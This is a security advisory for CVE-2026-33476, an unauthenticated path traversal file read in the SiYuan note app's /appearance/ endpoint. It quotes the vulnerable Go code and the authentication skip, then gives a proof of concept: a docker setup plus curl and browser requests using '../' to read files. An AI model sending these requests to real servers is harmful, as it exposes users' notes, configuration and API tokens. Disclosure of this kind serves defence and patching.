CVE-2026-33476

HIGH7.5EPSS 0.35%

Siyuan has an Unauthenticated Arbitrary File Read via Path Traversal

Published: 3/20/2026Modified: 3/25/2026

Description

## Summary The Siyuan kernel exposes an unauthenticated file-serving endpoint under **/appearance/*filepath.** Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process. Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials. ## Details Vulnerable Code Location **File: kernel/server/serve.go** ``` sh siyuan.GET("/appearance/*filepath", func(c *gin.Context) { filePath := filepath.Join( appearancePath, strings.TrimPrefix(c.Request.URL.Path, "/appearance/") ) ... c.File(filePath) }) ``` **Technical Root Cause** The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments. **Key issues:** **1. Unsanitized User Input** The path component extracted from the request is not validated or normalized to prevent traversal. ``` sh strings.TrimPrefix(c.Request.URL.Path, "/appearance/") ``` This preserves sequences such as: ``` sh ../ ..\ (Windows) ``` **2. Unsafe Path Joining** **_filepath.Join()_** does not enforce directory confinement. This escapes the intended directory. **3. Direct File Serving** The resolved path is served without verification: ``` sh c.File(filePath) ``` ### Authentication Bypass (Unauthenticated Access) Authentication middleware explicitly skips /appearance/ requests. **File: session.go** ``` sh if strings.HasPrefix(c.Request.RequestURI, "/appearance/") || strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") || strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") { c.Next() return } ``` This allows attackers to access the vulnerable endpoint without a session or token. ### Exploitation Scenario A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process. Example request: ``` GET /appearance/../../data/conf.json HTTP/1.1 Host: target ``` Because authentication is bypassed, the attack requires no credentials. ## PoC **Step 1 — Create marker file** ``` mkdir -p ./workspace/data echo POC_EXPLOITED > ./workspace/data/poc_exploit.txt ``` **Step 2 — Run SiYuan container** ``` docker run -d \ -p 6806:6806 \ -e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan \ --workspace=/siyuan/workspace ``` **Step 3 — Confirm service works** Open in browser: ``` sh http://127.0.0.1:6806 ``` ### Exploit PoC **Method A — using CURL command** Use --path-as-is so curl does NOT normalize ../. ``` sh curl -v --path-as-is \ "http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt" ``` **Output** ``` sh HTTP/1.1 200 OK POC_EXPLOITED ``` **Method B — Using Browser** ``` sh http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt ``` If **method B** is not working, use **method A**, which is CURL command to do the exploit ### Impact An unauthenticated attacker can read arbitrary files accessible to the server process, including: - Workspace configuration files - User notes and stored data - API tokens and secrets - Local system files (depending on permissions) This may lead to: - Sensitive information disclosure - Credential leakage - Further compromise through exposed secrets

Affected packages (2)

CVSS scores

SourceVersionSeverityVector
osvCVSS 3.1HIGH7.5CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References (4)